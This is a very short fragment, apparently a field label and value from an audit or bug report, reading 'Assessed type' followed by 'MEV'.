Assessed type

MEV